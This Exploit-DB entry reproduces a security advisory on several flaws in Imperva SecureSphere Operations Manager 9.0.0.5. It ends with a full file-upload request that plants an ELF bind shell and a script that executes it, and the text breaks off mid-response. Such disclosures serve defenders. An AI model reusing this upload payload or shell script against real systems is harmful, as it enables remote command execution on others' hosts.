Exploit-DB #25977
Description: Imperva SecureSphere Operations Manager 9.0.0.5 - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2013-06-05
Author: Pedro Andujar

Exploit:
Original: http://www.digitalsec.net/stuff/explt+advs/Imperva-SecureSphere.OptMgr.txt


          ===============================
                   - Advisory -
          ===============================

  Tittle:   Imperva SecureSphere Operations Manager - Command
Execution (Post Authentication) & Minor issues
    Risk:   High
    Date:   27.May.2013
  Author:   Pedro Andujar


.: [ INTRO ] :.

SecureSphere Operations Manager (SOM) is a multi-domain, federated
management solution that dramatically improves the operational
efficiency of managing SecureSphere deployments with multiple MX
Management Servers. SOM meets the operational scalability
demands of large enterprises and Managed Security Service Providers by
consolidating the management, visibility and reporting
across multiple SecureSphere MX Management Servers, and provides
system wide health metrics and statistics.


.: [ TECHNICAL DESCRIPTION ] :.

Imperva SecureSphere Operations Manager version 9.0.0.5 Enterprise
Edition and probably others are prone to several security issues
as described below;


.: [ ISSUE #1 }:.

Name: Autocomplete atribute not disabled in login page
Severity: Low

AUTOCOMPLETE is not disabled on the /secsphLogin.jsp page. This
prevents the web browser specifically caching the username and
j_password fields.

<tr> <td style="width: 120px"> <h1 class="login">User:</h1> </td> <td>
<input size=30 id="username" type='text' name='j_username'
style="width:172px" value="andujarp" />
<script>document.getElementById("username").focus()</script>
</td> </tr> <tr>
<td style="width: 120px">
<h1 class="login">Password:</h1>
</td> <td>
<input size=30 type='password' name='j_password' style="width:172px"/>


.: [ ISSUE #2 }:.

Name: Sensitive information is passed as parameter in URL
Severity: Low

As part of the login process, the assigned session ID is revealed as a
URL parameter.

GET /SecureSphere/secsphLogin.jsp;jsessionid=8B4AE9F3C99049824D4AEBBF61DEF6A5
HTTP/1.1


Additionally, the some credentials are revealed as a URL parameter
when trying to get the details of a sensor device:

GET /SecureSphere/j_acegi_security_check?j_[CREDENTIAL_REDACTED]_username=SOM-user&remote_login_attempt=true&active_mom_user=andujarp



.: [ ISSUE #3 }:.

Name: Physical Path Disclosure
Severity: Low

The SecureSpere web application discloses sensitive system
information, including file path information, through its exposed
functionality.
Specifically, the
/SecureSphere/dwr/call/plaincall/AsyncOperationsContainer.getOperationState.dwr
url resource shows the internal
root path of the underlying Application Server;

HTTP/1.1 200 OK
Content-type: text/javascript;charset=utf-8
Content-Length: 554
Date: Thu, 25 Oct 2013 04:41:38 GMT
Server: NA

throw 'allowScriptTagRemoting is false.';
//#DWR-INSERT
//#DWR-REPLY
var s0={};var s1=[];s0['file_size']="412
KB";s0.filePath="/opt/SecureSphere/server/SecureSphere/jakarta-tomcat-secsph/webapps/SecureSphere/WEB-INF/reptempt/25CB2F79E342E89AD9A7CFF51AA17F10/[PII_REDACTED]22932642/export.imf"

See also ISSUE #4, where additional file path disclosure occurs.



.: [ ISSUE #4 }:.

Name: Insufficients checks on file upload
Severity: High

The SecureSpere web application file upload functionality from the
.Key Management. section doesn't provide an adequate security control
of the uploaded
files, thus allowing an external attacker to upload arbitraty content
into the server. This can be used as an attacker in combination with
additional
vulnerabilities in the application to compromise the Host.

When trying to upload an invalid file in the Key Management section,
the application shows the full internal path of the application
server. Additionally,
it effectively uploads the file, despite being a wrong filetype.

The example below shows the file upload functionality outputting an
error when the file gets uploaded, additionally revelaing the upload
filename and its
internal path within the system. A Linux x86_64 ELF port 2222 bind
shell and additional shell script are uploaded to /var/tmp dir:


POST /SecureSphere/plain/settings.html?__targetView=details&extraParams[Key]=T/keyManagement
HTTP/1.1
Host: x.x.x.x:8083
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://x.x.x.x:8083/SecureSphere/ui/main.html
Cookie: JSESSIONID=CBAD5B77716363AFC961614AC32CAD4D
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]45517506
Content-Length: 1011
----------------------------[PII_REDACTED][PII_REDACTED]45517506
Content-Disposition: form-data; name="def_name"
default_key_pair_fips_2
----------------------------[PII_REDACTED][PII_REDACTED]45517506
Content-Disposition: form-data; name="private_key"; filename="bndsh"
Content-Type: application/octet-stream
ELF > x@@@8 @@$ j)Xj _j ^HR $ ziHj Zj1Xj2XH1j+XHj ^Hj!Xuj;XH/bin/shSHRWH
----------------------------[PII_REDACTED][PII_REDACTED]45517506
Content-Disposition: form-data; name="public_key"; filename="script"
Content-Type: application/octet-stream
file file* | grep ELF | awk '{print $1}' | sed -e 's/://' >target.file
; chmod 755 `cat target.file` ; ./`cat target.file` ; rm -rf
target.file
----------------------------[PII_REDACTED][PII_REDACTED]45517506
Content-Disposition: form-data; name="password"
12321323
----------------------------[PII_REDACTED][PII_REDACTED]45517506----------------------------------------------------



HTTP/1.1 200 OK
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/xml;charset=UTF-8
Content-Language: en
Content-Length: 315
Date: Fri, 26 Oct 2012 04:38:17 GMT
Server: NA
<errors> <global-errors> <global-err